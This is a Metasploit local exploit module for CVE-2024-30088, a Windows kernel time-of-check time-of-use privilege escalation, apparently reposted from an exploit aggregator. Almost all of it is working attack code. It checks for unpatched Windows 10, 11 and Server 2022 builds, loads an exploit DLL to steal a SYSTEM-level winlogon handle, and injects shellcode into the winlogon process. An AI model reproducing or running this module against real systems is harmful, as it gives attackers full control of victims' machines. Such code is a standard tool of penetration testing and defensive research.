Share
## https://sploitus.com/exploit?id=PACKETSTORM:181593
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Exploit::Local::WindowsKernel  
include Msf::Post::File  
include Msf::Post::Windows::Priv  
include Msf::Post::Windows::Process  
include Msf::Post::Windows::ReflectiveDLLInjection  
include Msf::Post::Windows::Version  
include Msf::Exploit::Retry  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Windows Kernel Time of Check Time of Use LPE in AuthzBasepCopyoutInternalSecurityAttributes',  
'Description' => %q{  
CVE-2024-30088 is a Windows Kernel Elevation of Privilege Vulnerability which affects many recent versions of Windows 10,  
Windows 11 and Windows Server 2022.  
  
The vulnerability exists inside the function called `AuthzBasepCopyoutInternalSecurityAttributes` specifically when  
the kernel copies the `_AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION` of the current token object to user mode. When the  
kernel preforms the copy of the `SecurityAttributesList`, it sets up the list of the SecurityAttribute's structure  
directly to the user supplied pointed. It then calls `RtlCopyUnicodeString` and  
`AuthzBasepCopyoutInternalSecurityAttributeValues` to copy out the names and values of the `SecurityAttribute` leading  
to multiple Time Of Check Time Of Use (TOCTOU) vulnerabilities in the function.  
},  
'Author' => [  
'tykawaii98', # PoC (Bùi Quang Hiếu)  
'jheysel-r7' # msf module  
],  
'References' => [  
[ 'URL', 'https://github.com/tykawaii98/CVE-2024-30088'],  
[ 'CVE', '2024-30038']  
],  
'License' => MSF_LICENSE,  
'Platform' => 'win',  
'Privileged' => true,  
'SessionTypes' => [ 'meterpreter' ],  
'Arch' => [ ARCH_X64 ],  
'Targets' => [  
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]  
],  
'DisclosureDate' => '2024-06-11',  
'Notes' => {  
'Stability' => [ CRASH_SAFE, ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, ],  
'Reliability' => [UNRELIABLE_SESSION] # It should return a session on the first run although has the potential to fail.  
}, # After the first run the original session will usually die if the module is rerun against the same session.  
'Compat' => {  
'Meterpreter' => {  
'Commands' => %w[  
stdapi_sys_process_get_processes  
stdapi_railgun_api  
stdapi_sys_process_memory_allocate  
stdapi_sys_process_memory_protect  
stdapi_sys_process_memory_read  
stdapi_sys_process_memory_write  
]  
}  
}  
)  
)  
end  
  
def target_compatible?(version)  
# NOTE: Win10_1607 = Server2016 and Win10_1809 = Server2019. Both Server and Desktop version are supposed to be affected.  
return true if version.build_number.between?(Msf::WindowsVersion::Win10_1507, Rex::Version.new('10.0.10240.20680')) ||  
version.build_number.between?(Msf::WindowsVersion::Win10_1607, Rex::Version.new('10.0.14393.7070')) ||  
version.build_number.between?(Msf::WindowsVersion::Win10_1809, Rex::Version.new('10.0.17763.5936')) ||  
version.build_number.between?(Msf::WindowsVersion::Win10_21H2, Rex::Version.new('10.0.19044.4529')) ||  
version.build_number.between?(Msf::WindowsVersion::Win10_22H2, Rex::Version.new('10.0.19045.4529')) ||  
version.build_number.between?(Msf::WindowsVersion::Win11_21H2, Rex::Version.new('10.0.22000.3019')) ||  
version.build_number.between?(Msf::WindowsVersion::Win11_22H2, Rex::Version.new('10.0.22621.3737')) ||  
version.build_number.between?(Msf::WindowsVersion::Win11_23H2, Rex::Version.new('10.0.22631.3737')) ||  
version.build_number.between?(Msf::WindowsVersion::Server2022, Rex::Version.new('10.0.20348.2522')) ||  
version.build_number.between?(Msf::WindowsVersion::Server2022_23H2, Rex::Version.new('10.0.25398.950'))  
  
false  
end  
  
def check  
return Exploit::CheckCode::Safe('Non Windows systems are not affected') unless session.platform == 'windows'  
  
version = get_version_info  
return Exploit::CheckCode::Appears("Version detected: #{version}") if target_compatible?(version)  
  
CheckCode::Safe("Version detected: #{version}")  
end  
  
def get_winlogon_pid  
processes = client.sys.process.get_processes  
winlogon_pid = nil  
processes.each do |process|  
if process['name'].downcase == 'winlogon.exe'  
winlogon_pid = process['pid']  
break  
end  
end  
  
winlogon_pid  
end  
  
def get_winlogon_handle  
pid = session.sys.process.getpid  
process_handle = session.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)  
address = process_handle.memory.allocate(8)  
  
thread = execute_dll(  
::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2024-30088', 'CVE-2024-30088.x64.dll'),  
address,  
pid  
)  
  
calls = [  
['kernel32', 'WaitForSingleObject', [ thread.handle, 20000 ] ],  
['kernel32', 'GetExitCodeThread', [ thread.handle, 4 ] ],  
]  
  
results = session.railgun.multi(calls)  
winlogon_handle = nil  
  
if results.last['lpExitCode'] == 0  
print_good('The exploit was successful, reading SYSTEM token from memory...')  
current_memory = process_handle.memory.read(address, 8)  
winlogon_handle = current_memory.unpack('Q<').first  
end  
  
session.railgun.kernel32.VirtualFree(address, 0, MEM_RELEASE)  
winlogon_handle  
end  
  
def exploit  
if is_system?  
fail_with(Failure::None, 'Session is already elevated')  
end  
  
version = get_version_info  
unless target_compatible?(version)  
fail_with(Failure::NoTarget, "The exploit does not support this version of Windows: #{version}")  
end  
  
winlogon_handle = get_winlogon_handle  
fail_with(Failure::UnexpectedReply, 'Unable to retrieve the winlogon handle') unless winlogon_handle  
print_good("Successfully stole winlogon handle: #{winlogon_handle}")  
  
winlogon_pid = get_winlogon_pid  
fail_with(Failure::UnexpectedReply, 'Unable to retrieve the winlogon pid') unless winlogon_pid  
print_good("Successfully retrieved winlogon pid: #{winlogon_pid}")  
  
host = session.sys.process.new(winlogon_pid, winlogon_handle)  
shellcode = payload.encoded  
shell_addr = host.memory.allocate(shellcode.length)  
host.memory.protect(shell_addr)  
  
if host.memory.write(shell_addr, shellcode) < shellcode.length  
fail_with(Failure::UnexpectedReply, 'Failed to write shellcode')  
end  
  
vprint_status("Creating the thread to execute in 0x#{shell_addr.to_s(16)} (pid=#{winlogon_pid})")  
thread = host.thread.create(shell_addr, 0)  
unless thread.instance_of?(Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Thread)  
fail_with(Failure::UnexpectedReply, 'Unable to create thread')  
end  
end  
end